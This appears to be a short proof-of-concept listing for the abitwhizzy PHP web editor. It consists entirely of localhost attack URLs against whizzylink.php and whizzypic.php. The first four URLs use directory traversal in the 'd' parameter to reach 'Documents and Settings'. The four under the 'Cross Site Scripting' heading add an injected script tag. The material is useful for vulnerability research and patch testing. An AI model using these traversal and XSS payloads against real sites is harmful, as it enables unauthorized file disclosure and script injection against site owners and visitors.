http://localhost/abitwhizzy/whizzylink.php?d=
../../../../../../../Documents%20and%20Settings

http://localhost/abitwhizzy/whizzypic.php?d=
../../../../../../../Documents%20and%20Settings

http://localhost/abitwhizzy/whizzery/whizzypic.php?d=
/../../../../../../../Documents%20and%20Settings

http://localhost/abitwhizzy/whizzery/whizzylink.php?d=
/../../../../../../../Documents%20and%20Settings


Cross Site Scripting:

http://localhost/abitwhizzy/whizzery/whizzypic.php?d=
/../../../../../../../Documents%20and%20Settings
"><SCRIPT>alert(&apos;XSS&apos;)</SCRIPT>


http://localhost/abitwhizzy/whizzery/whizzylink.php?d=
/../../../../../../../Documents%20and%20Settings
"><SCRIPT>alert(&apos;XSS&apos;)</SCRIPT>


http://localhost/abitwhizzy/whizzypic.php?d=
../../../../../../../Documents%20and%20Settings
"><SCRIPT>alert(&apos;XSS&apos;)</SCRIPT>


http://localhost/abitwhizzy/whizzylink.php?d=
../../../../../../../Documents%20and%20Settings
"><SCRIPT>alert(&apos;XSS&apos;)</SCRIPT>